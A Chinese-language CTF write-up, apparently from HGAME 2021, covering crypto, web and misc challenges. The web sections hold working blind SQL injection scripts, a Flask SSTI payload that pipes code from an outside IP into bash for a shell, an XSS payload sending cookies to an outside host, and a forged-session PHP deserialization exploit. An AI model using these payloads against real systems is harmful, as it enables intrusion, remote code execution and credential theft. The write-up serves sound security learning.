524955549822701108820249448341549471789542970374297220719644144467046120999708435027269809717491708384591502747843811858599256578006152409861521624800414221049434790169883523654257416906811451131195855586244598374880878692418389200238536952258677438654818096236001665540878733993916070969439309600669058216532381285131220090854384696479702333190547690812990714884526122724065211294733252863353053612662498096532976972273019631446622835704720241172866721075241553118399444619649756067546482948914446034527197029043296867226467390140262361175465932673129685497666662167082114259368591713670044469780955810420060714389043507570707061129150071885165680539302629323340904857078380746639406842784054066196290404127562974351550470732956889057701068241533469665269708040337792974792839671609064624273734488264409908037327963582749939131119285299618565955038449080047185142908091099286222071106259434530841587125509988124634728986309920606439740930811537598857558982632237868734857663853645411122621117175983417162818791869180350737709034243602399686004808133116046260847513863100560285962053110278579574895754928960943506584372424062481234806423574610837438057911596190771344568064718882123247708570545980147637910744997312960997877114875563,
531816715051067911629200567254640608407895151120321915934223550416084055941810057275647124365372164691799815654324843152835621657219143971510794565282438719132189708357084269561390602533348667210778967547331570345307713271797500472800693615897738386357322760213782607288672639158771643480519455699144535885754570631972814751649211026584146963569748660071519399459076694805787216533150149579905553101555997182221446716574345192297201707280470099673168021522276021573255431147391095907444654303966368362618307277890450431646680417082866906543559655835992081835168319097576418799442472634041439781110915814527860626840035884588953837943723302497813966476632638781785524454419556109443369209786353302330932241171298568309190081206636347720214268688100661670856945137179076232753814259674913102806389336950363047338944420468292248719856587641014569194752277829684619803918722245724677129232358305719548783148527753735258295780607510739074337299037254055287750082818921964088131910307180760939784520021579399465657665634960365680711736311232219221704752502361047780644838828947578962833367751773943513294960723081845674700714114613905708967183234219078662548527491691822238226973730089750314606177285702898595711912716069746542235493085749,
493772253520028701228394073791118796898860642546293517165976340880188671501170757992157937835809864375957661380376149183362237960714624594301301578885724183490678033704978135608268473206365825232902155458695063561942608980565675676060170247587203833300205781482210306978615656217675258493239504539762213919984146477146352995349444904282648001338541091894423167804984256356783623092953892148062097076194840351505254447228339051915162949343535017563167413299991340194548813782360554779507722510592683811398509607473468601404587617569337150824778600883884616204746234575349549906287741463102675096118386062231492163458668021511751022439191080507345540921839703382290445797046739813648289321292589201149955672085687445193343364105492343611293348540598587286909499000234416955201612299458282688515658596600656417554161895812046994316423241245289735327450704642000340929459813500971266436908790234452643087694195334024560701562917342963860276789458845939794177422833059051673483227332372905969868740556412782843128761060670334188293944421019131514119696008065850631880588123929581097844255625593530935229341774189341909782979667383762706038731196861300615117475933625813147094849135055190312732335084507955724604696171453417718094964090327,
400814713999150053337202998177245797185153318108582661287579898596310746501291974666347785576673046001863500878959207830917744556274546158919815600936114953314600540036576429657582500764669413652252770861966417840099061248948771555745832102924038855172611675048290264202872791337710865213077945592130795851795718608065812757968780578674701063411377538597424177722558867587781141897676300153523209675996201871155481412772845570976807158049274849081684209479884845355028703657648486318475977716075670243766212910039942550957289189946628261360037565354423094972917371572096203537186108596979722712819213554550645058717286550110465343100499845761528635976859006285823914211739843983972560292482778326983903018873698437828016668821516581220588836782094261582899393704029819851484331592269664479855215056764839779582417486366182524483986373098489636334412671358130389579972838029202609936524996601129648191606117951616875200119129837212604760319073283133589692257497994855882819655018727368441361317788278857721179085847352853038553208639836433059097775135452611114351766229800268321281856140246610438246783364320786390657242414430601000831387967976691362673290089725234013924339500819390840062916754623424132621350706544122257464089409619,
441219832102329113941862838660943233579215441091346336934528023475304109965596676163440394813272558320918420480386749091947802455423402857125233908206867132599069595323243154174569298961794344623241293553421864069389535348543832297805982907650367142721566803315107733852453608111246057981064164247187640480712312060234169292599096087422940380874435851795847673883946134398943282297673922785786134668939454715179979246505182510338437251221569074780060511794395438999419581907256239694239236674604727404688764447352994022067990843174130240669289888289862268588307778029283493265348667415910553064457513926134377522099641209108448559373422305901757344324758407462166774699512993336120173336911210734744313930970281023299709778006083933174113456436965150432387778607639217894522770756209157735203091790545289813873886244335031912734705230434179583023235199153300263399767468586679972093973609985111254951924071949408463935260725701129931726900345186925871556853670570762826122383762006869109981003180805851519716186506371242901187230433096494812063568936279012557322219782284461140361225650340807095328622016565443274256310194921729305097890315074292153303546235677671541793456589738387043928232044507842169173330728718482770626654501523,
320869957563788427035277998523618265705625973417036901203569472342030237447625011870979141578128136960129467546914523329260071050471008896398606988171189642059908517956020915451465313985689287777861360309556861849062064900403692083060786557290591231962941942100771713703136018889848261749140840347546977823595556802430254803837030344591646012857122213227115215674470388548652140381296705772500445572224924018905225174265663584819356114341255408979866800339484643585303306817447453000684770518093577661102544212109378828711785073514863402442870264355300371516683912671007573320059261257897651899697566804513319774954294708303168788292037857134628186553450976637858562675039807897112079750384830264618639239956765667388939331303314191813126254254914926384279494115576997773080256600900034563434959593677148531401160281960526061723479161754555193979726656961515374019212153726594807142456303698775715290518062768887156433902187122160641097916121097179118289646514217696314956474472626420868486152421013284784863653299930875253371982327367991139126828286729539033382650687859412868137579309775440698502848241122394423129771442338402870863767769545005951064956498742874485207824630520777152431261010818838138655082911865834699807375008861]
c_base=[722725267571877807402319081826628305252544883884335241258703688920929757984818470073041479840921480077113183869560758029121565524819466778712481183488277905449328223533043391590093655773827799575075615676500130199172201779452716348108026696828323022993975174610207567571651550333881731147356813019258889551558181283524226640533248278854011492561134943798149661873706769482776061146298693713915393175945083367889987571681776927122583376239974702806044792299381370488664195802017823240811394180509440609967345141141653389746431284893972530735438955464348280960825325776483554008537527538106398207335688261344254017151889931214151508915480961509920681364352778795068266724879364096996252272841617341643666522563974346452491302969822483901472736908002176995244808285202644542949151920310938882432565101197174787422479197405599503943928375781580538374853471395003088467545128060029187794431891563377967647568991772201040537299188867383732391802781253804314567562657951501684710262276597091279719861829006628377575073875781088939946651128183090724290607438597560193321130496240482260573568646971658130695308585240404956802017929673317521572608385674052894773447205932790060730005333539795323555614705817665786476411351969424168366962370578,
341106636902364624537621803937059683829500847731737217024477947229102117868841270816391462580424161421481323287279560344771837711680149251407621544732737892160496443939357041950388493554496406007658435517211507967374859158779641371713073809459356957664870385022506283994639885012608754343497740963582877475346528865751238785898641641562644419639994889039921662499512792397994326679297072288344988329863729467521185656908541750681614296631331948235836697947639517519093825102735706418368162081693311580728579264440449951888361065347124447876814670051679652280281965491150266115964128635848848265679743499256971016535195477416889144131600175159747033626985115139696085153828051183257884668367446309997650590293659781294222777784435987334384194429993199873061206563903159227361936901013994702046575677089263288115905540761147293222721696340819505305497691052766999798297905368576684359681315851605714974267829409740228043899512270242579080482164570677517245195783188509338962785491871370414414487565392656794817257748899014632689366928706013426731920865802714147114118673053353872356444566840336431784793686607763099763915943769968162453433779091468653936247489610842351714130350853888962620401435016019892000066519489369586647822582532,
96655501480984228476843527875038148766862682735216531181731365068856421448884071634422050543257015201836409006098564512948671369804995159104827331853700167554494548064655395947790619030027666553546707921275511050067552520015915189711919816240838635843727117678456359153157042256845391879627204005136329626204082446757707275024018932620919979573721462329490962992796317057293975350138690301006093906543825995442041881912668467639058815752449994459671712370905576936766284703593791336731603543492278087975208438906947966054673189424532474872122585340933934837935650393646216239318131268109344918651250925428018278665569580645117439459587437729735009669592816057201053074978283319149894796397333902672858475161613255814596817201545193202169499144055305358584644635503323032680354835638327999633796089419073741897835010300917603325122563734141907765815188906909017245236242853269976816696795439826925876239600449014662736919205840699787188466436497530759889271878272675511804209502453822900397006767975864334707665149166220819464748535531766670263050223009402082194467219438612279935716319300498861153496030333202808928006701019408354471055774090532330704743753190920815655232618981877529057446430825964256948001465214314349394508264556,
357103586677133190400275535608298307096755517917743991779928165944808156555143364562652658318257441161780966754082431346703420213047464905801347987429587866507784835294289240703319363713980965945263022810877492245609589053923882000898807593180841308987573262209122953930711801088265031627560104571585260900206878593365521048031056818241791513449270437055503002833594299287048995560742435886215547766657105383700364572345248814440024509278757886084274494794572349604428103225636768278633773471700470592729438598821712944805975639637427494951822994991131521067141611563925956037672180261640035716517421681741527507431981163704929952037747170161617798150545493396732644456871805542270699764392127056902381387198947947443962667595072777104565429494042828509588406057498452896606672079600318076629291832964611485077778334984817595747726526804076306703817160053516530370696172218743746676413884784385108888108803420106818173901070897426014100110652172248635456173774009497111567782846079335233333617278837527467186444919584161474044529784043912893406555209016056689227249614906221138535989446685926185643604698806909451119908925728900998397084501277736148437741526619184826982588354997162924650747731826227150677994598866694976617038952960,
196373383105902290020944815248115178565096789884585292930623716947035208071024597949093015291460459688039044997141326097130071826293844614603464306742597764422862382005497313400758917851620553757103374309501021075747571843057781165101330819142446088116279098633113721577451389062207713330184173913814679087349450078308520703743712617560764419518421118924319893700795437644204733301627193873115633309760620284510790535125035058821049861371456491148507101291075161477427293354824377765129256775039894591945559511120167575652522441315757824060660730144970842971698502722588421031575495602989132763560631831054650312859575883607799879434734827000150732042760623153837096529339041007718789464168455505957010471222861988485628012999068075964645262827332446865072284660213544453081529030572364389186506108110484311864485900432885752933720505418233626286434177587041376262805920492740865402092716512672643242061407641167432424410178764502786772854859640601859309316626050634279758623225955757842810086544305493826555445120223896047747445754110537277236254307766447437586975157089685397827540671890607699289450588156013811091193850313213188596446595791898264003078214830341703064110270245588623025485564465677065014954050674151068209958156338,
343558577020588714429313020041093297550600511001840154137552216575748946157961591099597309730875847249609067088895567357040752583678766229661761073029178667941759812656095394713728367061506713413650132129245164858512061430944849306322427733297033654152161512931139895523891447055784674776356336721195602898082264703411052396223706491835615239898963965039349867576628181946954585002705252796231016445166027513456849060948360498081892030697906086173612576083651879166491789946438067179662219651062279317002050789871120333850272751224872129535742685201837098575125361312611392050300073462884046822571642883949673321736837838379514540827860219307938135197101094531402063240331559853201121385391076154875363696159228373299490035401297769928627372721885488091110000395742964536445855367746227395783716581955884641531132839080847770052153020914740561915612109449417203852452084551679817129684835596664222472806271699238429017096741164052056835664191547244480985004136162585874727015248038703376279042870253365410963230937309995702792020342080115661150163434949942290275789227674559517957243060077741816736950124894466197373209308598030218454826136754312091821659566499445097655483610010997986426784494466843809743836689209926943448276851733,
78140898568960172537532399957542065079754785608196175653725188831315142763849427144477433109881196560183622027227087954674199188991855929146336784979764720497547685824735751948676073196869027199411668951578490599507331800328072699193016348570092942269398714025948091737017548105562834031699831877517521836116912407428829037729994348603578694187241194587650053966682616443757430366693816438822541572320426819962696790047344705617241989403482962642561340363553100861232083902828830416053526478120239416765009622649261419311221132287115995483736302156498238644085182807103157307755108774079839474373171678479879270772376918459752331416572057373104068315516826270820079207687778179443170979119272546974948398836020966295976732842161084596604333609962435508857188202619164351406760248161996398928399808794165750688251550333360521545271424876496939865803880625334341137443221883906301968050670219384464251470416581899246708055363762134459566859899715206435140188997349196902765578570516978378759650864568014586614460583304460504318729333658817066272120984875742815218722200593432648242043375439670923950493477821363923796229165231700852653002648050645561521640741356788087870305958215222979881662007309583380284362915245390595921375463156]
n = []
c = []
n.extend([n_base[i],n_base[j],n_base[k]])
c.extend([c_base[i],c_base[j],c_base[k]])
def CRT(mi, ai):
assert(reduce(gmpy2.gcd,mi)==1)
assert (isinstance(mi, list) and isinstance(ai, list))
M = reduce(lambda x, y: x * y, mi)
ai_ti_Mi = [a * (M // m) * gmpy2.invert(M // m, m) for (m, a) in zip(mi, ai)]
return reduce(lambda x, y: x + y, ai_ti_Mi) % M
e=3
m=gmpy2.iroot(CRT(n, c), e)[0]
print(long_to_bytes(m))
web1
一个sql盲注
简单fuzz一下发现ban以下符号
' " = | ; 空格
猜测后端语言为这种形式
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
这里用了一个用反斜杠转义单引号的trick,原理在这里有讲
username=admin\&password=or(0)or(sleep(5))#
username=admin\&password=or(1)or(sleep(5))#
发现注入点,这里可以使用时间盲注。
有个非常坑的一点是查出来的数据的ascii码会往后位移一位。卡在这个上好长时间。一直没看出来。
import requests
result = ""
# ev="select(version())"
# ev="select(group_concat(SCHEMA_NAME))from(information_schema.SCHEMATA)"#week3sqli
# ev="select(group_concat(TABLE_NAME))from(information_schema.TABLES)"
# ev="select(group_concat(TABLE_NAME))from(information_schema.TABLES)WHERE(TABLE_SCHEMA)LIKE(0x7765656b3373716c69)"#u5ers
# ev="select(group_concat(COLUMN_NAME))from(information_schema.COLUMNS)WHERE(TABLE_SCHEMA)LIKE(0x7765656b3373716c69)"p@ssword usern@me
ev = "select(group_concat(`p@ssword`))from(u5ers)"
for i in range(1,10000):
min_value = 32
max_value = 130
mid = (min_value+max_value)//2 #中值
while(min_value<max_value):
# payload ={"username" : "admin'^" + "(ascii(substr((load_file('/etc/apache2/sites-available/000-default.conf')),{0},1))>{1})".format(i,mid)+"#","password":"1"}
# payload ={"username" : "admin'^" + "(ascii(substr((select database()),{0},1))>{1})".format(i,mid)+"#","password":"1"}
import requests
burp0_url = "https://jailbreak.liki.link:443/login.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0", "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": "https://jailbreak.liki.link", "Connection": "close", "Referer": "https://jailbreak.liki.link/", "X-Forwarded-For": "127.0.0.1", "X-Originating-IP": "127.0.0.1"}
burp0_data = {"username": "admin\\", "password": f"or(ascii(substr(({ev}),{i},1))<{mid})or(sleep(1))#"}
html=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
# print(payload)
# print(html.text)
sec=html.elapsed.seconds
if sec > 0.5:
#ascii值比mid值大
min_value = mid+1
else:
max_value = mid
mid = (min_value+max_value)//2
#找不到目标元素时停止
# if(chr(mid)==" "):
# break
result += chr(mid)
print(result)
print("fina flag:",result)
web2
flask ssti
弹个shell出来
{{session.__init__.__globals__.__builtins__['ev'+'al']("__imp"+"ort__('o'+'s').popen('curl 47.97.123.81/1.txt|bash').read()")}}
顺便捎走源码
#!/usr/bin/python
#-*- coding: UTF-8 -*-
from __future__ import unicode_literals
from flask import (Flask, render_template, redirect, url_for, request, flash)
from jinja2 import Template
from flask_bootstrap import Bootstrap
from flask_login import login_required, login_user, logout_user, current_user
from hashlib import md5
from forms import TodoListForm, LoginForm, RegisterForm
from ext import db, login_manager
from models import TodoList, User
import pymysql
pymysql.install_as_MySQLdb()
SECRET_KEY = 'ssssssTiLIKISAMA'
SALT = 'SIKILIKISAMA'
app = Flask(__name__)
bootstrap = Bootstrap(app)
app.secret_key = SECRET_KEY
app.config['SQLALCHEMY_DATABASE_URI'] = "mysql://ctf:p45Sw0rdOfssti@ssti_database/todolist"
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True
db.init_app(app)
login_manager.init_app(app)
login_manager.login_view = "login"
@app.route('/', methods=['GET', 'POST'])
@login_required
def show_todo_list():
form = TodoListForm()
if request.method == 'GET':
todolists = TodoList.query.filter_by(user_id=current_user.id)
return render_template('index.html', todolists=todolists, form=form)
else:
if form.validate_on_submit():
todolist = TodoList(current_user.id, form.title.data, form.status.data)
db.session.add(todolist)
db.session.commit()
flash('You have ADD a new todo list')
else:
flash(form.errors)
return redirect(url_for('show_todo_list'))
@app.route('/delete/<int:id>')
@login_required
def delete_todo_list(id):
user_id = TodoList.query.filter_by(id=id).first_or_404().user_id
if (user_id == current_user.id):
todolist = TodoList.query.filter_by(id=id).first_or_404()
db.session.delete(todolist)
db.session.commit()
flash('You have DELETE a todo list')
else:
flash('You DO NOT have permission to delete this todo')
return redirect(url_for('show_todo_list'))
@app.route('/view/<int:id>', methods=['GET'])
@login_required
def view_todo_list(id):
user_id = TodoList.query.filter_by(id=id).first_or_404().user_id
if (user_id == current_user.id):
try:
todo = TodoList.query.filter_by(id=id).first_or_404()
s = render_template('view.html', todo=todo)
s = s.replace("lza9veb5WmH367fcuUyn", todo.title)
t = Template(s)
r = t.render()
if (('hgame' in r) or ('emagh' in r)):
r = 'Stop!!!'
r = 'Stop!!!'
return r
except:
flash("Something went wrong!")
else:
flash('You DO NOT have permission to view this todo')
return redirect(url_for('show_todo_list'))
@app.route('/modify/<int:id>', methods=['GET', 'POST'])
@login_required
def modify_todo_list(id):
user_id = TodoList.query.filter_by(id=id).first_or_404().user_id
if (user_id == current_user.id):
if request.method == 'GET':
todolist = TodoList.query.filter_by(id=id).first_or_404()
form = TodoListForm()
form.title.data = todolist.title
form.status.data = str(todolist.status)
return render_template('modify.html', form=form)
else:
form = TodoListForm()
if form.validate_on_submit():
todolist = TodoList.query.filter_by(id=id).first_or_404()
todolist.title = form.title.data
todolist.status = form.status.data
db.session.commit()
flash('You have MODIFY a todolist')
else:
flash(form.errors)
else:
flash('You DO NOT have permission to modify this todo')
return redirect(url_for('show_todo_list'))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
pswd = md5((request.form['password'] + SALT).encode(encoding='UTF-8')).hexdigest()
print(pswd)
user = User.query.filter_by(username=request.form['username'], password=pswd).first()
if user:
login_user(user)
flash('You have logged in!')
return redirect(url_for('show_todo_list'))
else:
flash('Invalid username or password')
form = LoginForm()
return render_template('login.html', form=form)
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
pswd = md5((request.form['password'] + SALT).encode(encoding='UTF-8')).hexdigest()
print(pswd)
newuser = User(username=request.form['username'], password=pswd)
user = db.session.add(newuser)
try:
db.session.commit()
flash('You have registered!')
return redirect(url_for('login'))
except:
flash('Username Exists')
form = RegisterForm()
return render_template('register.html', form=form)
@app.route('/logout')
@login_required
def logout():
logout_user()
flash('You have logout!')
return redirect(url_for('login'))
@login_manager.user_loader
def load_user(user_id):
return User.query.filter_by(id=int(user_id)).first()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
web3
static/www.zip有源码
可调试的源码
经过本地调试,如果以上的两处被渲染之后会变成以下的样子,同时能够xss
这样可以在/preview路由里弹窗
于是把alert(1)
换成";window.open('http://47.97.123.81:11451/?'+encodeURI(document.cookie));//
但是现在只能在/preview里弹窗。
机器人只查看主页
源码里有提示,说用了csp。
再康康过滤机制
def escape_index(original):
content = original
content_iframe = re.sub(r"^(<?/?iframe)\s+.*?(src=[\"'][a-zA-Z/]{1,8}[\"']).*?(>?)$", r"\1 \2 \3", content)
if content_iframe != content or re.match(r"^(<?/?iframe)\s+(src=[\"'][a-zA-Z/]{1,8}[\"'])$", content):
return content_iframe
else:
content = re.sub(r"<*/?(.*?)>?", r"\1", content)
return content
所以我们要符合^(<?/?iframe)\s+.*?(src=[\"'][a-zA-Z/]{1,8}[\"']).*?(>?)$
这个正则表达式,否则尖括号就会被去掉
最终这个是符合的<iframe src="/preview">
打上去发现弹窗了。主页访问了/preview路由。这时再让机器人访问主页就能让机器人顺便访问/preview路由了
web5
题目暗示用了git部署
部署,说明有git泄露,用githack直接拖一份源码下来。
且题目说flag在flag.php中。
先寻找在哪里读取文件。
class CardsPool
{
public $file='flag.php';
public function __toString()
{
return file_get_contents($this->file);
}
}
在CardsPool
类中有一个__toString()
魔术方法,可以读取flag.php
里的内容
那么如何触发__toString()
呢?
往下看有一个类
class Eeeeeeevallllllll
{
public $msg="坏坏liki到此一游";
public function __destruct()
{
echo $this->msg;
}
}
这里的echo
可以触发__toString()
方法,且echo
外为析构函数,可以直接调用
那么就很明确了unserialize()->Eeeeeeevallllllll->__destruct()->__toString()->file_get_contents()
再看一下哪里有反序列化点
public function extract($session){
$sess_array = explode(".", $session);
$data = base64_decode($sess_array[0]);
$sign = base64_decode($sess_array[1]);
if($sign === md5($data . self::SECRET_KEY)){
$this->sessionData = unserialize($data);
}else{
unset($this->sessionData);
die("Go away! You hacker!");
}
}
发现这里经过验证后可以对$data
进行反序列化。跟进extract()
看看data和验证
public function __construct(){
$this->session = new Session();
if(array_key_exists("session", $_COOKIE)){
$this->session->extract($_COOKIE["session"]);
}
$this->cardsPool = new CardsPool("./pool.php");
$this->cardsPool->init();
}
<?php
error_reporting(0);
require_once ("simulator.php");
$simulator = new Simulator();
$cards = array();
if(isset($_POST["draw"])){
$cards = $simulator->draw($_POST["draw"]);
}
这里的__construct
魔术方法在实例化Simulator
类时会自动调用
说明反序列点在session,那么再看一下验证
public function save(){
$serialized = serialize($this->sessionData);
$sign = base64_encode(md5($serialized . self::SECRET_KEY));
$value = base64_encode($serialized) . "." . $sign;
setcookie("session",$value);
}
这个是session加密过程。
我们自己构造一个脚本,来过这个验证
<?php
$serialized = 'O:17:"Eeeeeeevallllllll":1:{s:3:"msg";O:9:"CardsPool":2:{s:5:"cards";s:7:"Yang_99";s:4:"file";s:8:"flag.php";}}';
$sign = base64_encode(md5($serialized . "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9"));
$value = base64_encode($serialized) . "." . $sign;
echo $value;
把输出的值传入session就能反序列化
本地构造一个脚本
<?php
class CardsPool
{
public $cards="Yang_99";
public $file='flag.php';
public function __toString()
{
return file_get_contents($this->file);
}
}
class Eeeeeeevallllllll
{
public $msg="坏坏liki到此一游";
public function __destruct()
{
echo $this->msg;
}
}
$p=new Eeeeeeevallllllll("");
$p->msg=new CardsPool("");
echo(serialize($p));
将一个类当作字符串对待的时候就能触发__toString
方法。
这里$p->msg
是一个类CardsPoll
。在echo msg
的时候被当作字符串。于是触发了类CardsPoll
的
__toString
方法。
本地调试可行。
直接打过去拿flag
payload
O:17:"Eeeeeeevallllllll":1:{s:3:"msg";O:9:"CardsPool":2:{s:5:"cards";s:7:"Yang_99";s:4:"file";s:8:"flag.php";}}
TzoxNzoiRWVlZWVlZXZhbGxsbGxsbGwiOjE6e3M6MzoibXNnIjtPOjk6IkNhcmRzUG9vbCI6Mjp7czo1OiJjYXJkcyI7czo3OiJZYW5nXzk5IjtzOjQ6ImZpbGUiO3M6ODoiZmxhZy5waHAiO319.ZmVmZDM1ZjhlNGYzOTYzYjMyNjA2MGI1YmFkODVkMTA=
MISC1
首先分析流量,在TCP流中发现一个log文件
然后导入wireshark
出现了几个HTTP的包,全部导出对象看看
里面有一个全是base64的包,解密一下,发现开头是PK,于是导入文件。
导出的压缩包不能解压,简单修一下,05 06 改成03 04就行了
解密后是一个json数据包
后面的row col明显是行 列的关系。
直接写个脚本看看画出来是什么
import json
from PIL import Image
tempimage = Image.new('RGB', (100, 100), '#FFFFFF')
f=open("default_entry","r")
a=json.load(f)
print(a['journal']['logs'])
for i in a['journal']['logs']:
x=i['pos']['row']
y=i['pos']['col']
tempimage.putpixel((x,y),(0,0,0))
tempimage.show()
f.close()
画出来是个二维码,扫描就能得到flag
MISC2
脑洞题。没有hint完全没得做
刚开始是一张图片
图片里是一串base85编码。
解密后是h8btxsWpHnJEj1aL5G3gBuMTKNPAwcF4fZodR9XQ7DSUVm2yCkr6zqiveY作为BV号算法的表
然后通过这个表算一下压缩包密码
# table='fZodR9XQDSUm21yCkr6zBqiveYah8bt4xsWpHnJE7jL5VG3guMTKNPAwcF'
table='h8btxsWpHnJEj1aL5G3gBuMTKNPAwcF4fZodR9XQ7DSUVm2yCkr6zqiveY'
tr={}
for i in range(58):
tr[table[i]]=i
s=[11,10,3,8,4,6]
xor=177451812
add=8728348608
def dec(x):
r=0
for i in range(6):
r+=tr[x[s[i]]]*58**i
return (r-add)^xor
def enc(x):
x=(x^xor)+add
r=list('BV1 4 1 7 ')
for i in range(6):
r[s[i]]=table[x//58**i%58]
return ''.join(r)
print(enc(10001540))
#17f411J77h
解压后是一个视频,视频里有一句话what is the answer to life the universe and everything
上网查了一下是42.
a = 'zB7= ?I DEJ >;H;` 8KJ } MH?J; ?J 8;97KI; OEK C7O D;;: CEH; MEH:I JE 7D7BOI?I M>7J ;D9E:?D= J>; B?D;e ?IbzEH B?D;f` "?A? >7I JEB: OEK M>7J ?J ?I` 7D: uA?H7 ?I D;9;II7HO JE :E ?Jb*ME OEKD= =?HBI ;NFBEH; 7 I>7JJ;H;: MEHB:` <?BB;: M?J> IEKD:n 7 F7IJ JE 8; KD9EL;H;:bbby79> 7M7A;DI ?D J>?I 8B7DA` HK?Da:EJJ;: MEHB: JE :?I9EL;H J>7J I>; ?I ;GK7BBO 8B7DA` H;C;C8;H?D= DEJ>?D= E< M>7J 97C; 8;<EH;buD: J>;D J>;O C7A; 7 I;9ED: :?I9EL;HOn J>; uH97;7` CKBJ?JK:;I E< <BE7J?D= =B7IIaB?A; I>7H:I 9EDJ7?D?D= L?L?: C;CEH?;I E< J>; F7IJb'
b = ''
# a = '#)+F7IIMEH:?Injiikffi'
for i in a:
if ord(i) >= 97:
b += chr(ord(i) + 42 -128 + 34)
continue
if i == ' ':
b += i
continue
b += chr((ord(i) + 42))
print(b)
因为所有字符位移42解不出明文,于是经过调整。最终得到了解出明文的算法。
然后可以得到MSUPASSWORD的密钥
https://zhaokaifeng.com/?p=1305
解密过程这里有,就不细说了 解密到的txt
arc.hgame2021.cf
Hikari
Tairitsu
进去后刚才视频最后那点的下半部分维吉尼亚解密,密钥是Akira
在网站访问这个路径https://arc.hgame2021.cf/pmtempestissimobyd/
可以得到flag
week4
web1
前置知识:当where条件为username=0时,SQL会把username中的值先转换为int字符,也就是0 那么where条件为永真。就会查出所有数据。
注入点在username处,0'^0#
发现查到了username
也就是查到了所有的数据。
根据这个可以进行布尔注入,因为这道题ban了大于号,小于号,等于号,mid,substr,ascii,substring,like,sleep,union等。。
所以进行异或注入
前置知识:166^166=0
也就是任何相同数字异或为0
payload0'^(ord(right(left(('ABC'),1),1))^'116')#
发现可以打。
于是将't'换成sql语句开始注入。
脚本逻辑:
先注册账号,payload为用户名。登录,验证。如果用户名为username,那么布尔值为真。然后注销。
import requests
import random
import time
import threading
# ev="'ABC'"
# ev="database()"
# ev = "SELECT group_concat(distinct(table_name)) FROM information_schema.tables where table_schema REGEXP 'todolist'"
# ev = "SELECT group_concat(distinct(column_name)) FROM information_schema.columns where table_name REGEXP 'ffflllaagggg'"
flag=['']*11
ev = "SELECT group_concat(ffllllaaaagg) FROM ffflllaagggg"
table=r"abcdefghijklmnopqrstuvwxyz0123456789_{}!@#$%^&*()"
def booltest(start,end,k):
s=requests.session()
for i in range(start,end):
for j in table:
j=ord(j)
# print(j)
ran = random.randint(1000000, 999999999)
burp0_url = "https://unforgettable.liki.link:443/register"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://unforgettable.liki.link", "Connection": "close", "Referer": "https://unforgettable.liki.link/register", "Upgrade-Insecure-Requests": "1", "X-Forwarded-For": "127.0.0.1", "X-Originating-IP": "127.0.0.1"}
burp0_data = {"csrf_token": "1613988047##852f6176ec5f2fb542f9e7b001a340c0b3ec4854", "username": f"0'^(ord(right(left(({ev}),{i}),1))^'{j}')#{ran}".replace(' ', '\t'), "email": f"1{ran}222@qq.com", "password": "1", "submit": "\xe6\xb3\xa8\xe5\x86\x8c"}
res=s.post(burp0_url, headers=burp0_headers, data=burp0_data)
if "You have registered!" in res.text:
burp0_url = "https://unforgettable.liki.link:443/login"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://unforgettable.liki.link", "Connection": "close", "Referer": "https://unforgettable.liki.link/login", "Upgrade-Insecure-Requests": "1", "X-Forwarded-For": "127.0.0.1", "X-Originating-IP": "127.0.0.1"}
burp0_data = {"csrf_token": "1613988047##852f6176ec5f2fb542f9e7b001a340c0b3ec4854", "email": f"1{ran}222@qq.com", "password": "1", "submit": "\xe7\x99\xbb\xe5\xbd\x95"}
res=s.post(burp0_url, headers=burp0_headers, data=burp0_data)
# print(burp0_data)
if "My TODO List" in res.text:
burp0_url = "https://unforgettable.liki.link:443/user"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "https://unforgettable.liki.link/", "Upgrade-Insecure-Requests": "1", "X-Forwarded-For": "127.0.0.1", "X-Originating-IP": "127.0.0.1"}
res=s.get(burp0_url, headers=burp0_headers)
if "Username: username" in res.text:
flag[k]+=chr(j)
print(flag)
burp0_url = "https://unforgettable.liki.link:443/logout"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "https://unforgettable.liki.link/", "Upgrade-Insecure-Requests": "1", "X-Forwarded-For": "127.0.0.1", "X-Originating-IP": "127.0.0.1"}
s.get(burp0_url, headers=burp0_headers)
break
burp0_url = "https://unforgettable.liki.link:443/logout"
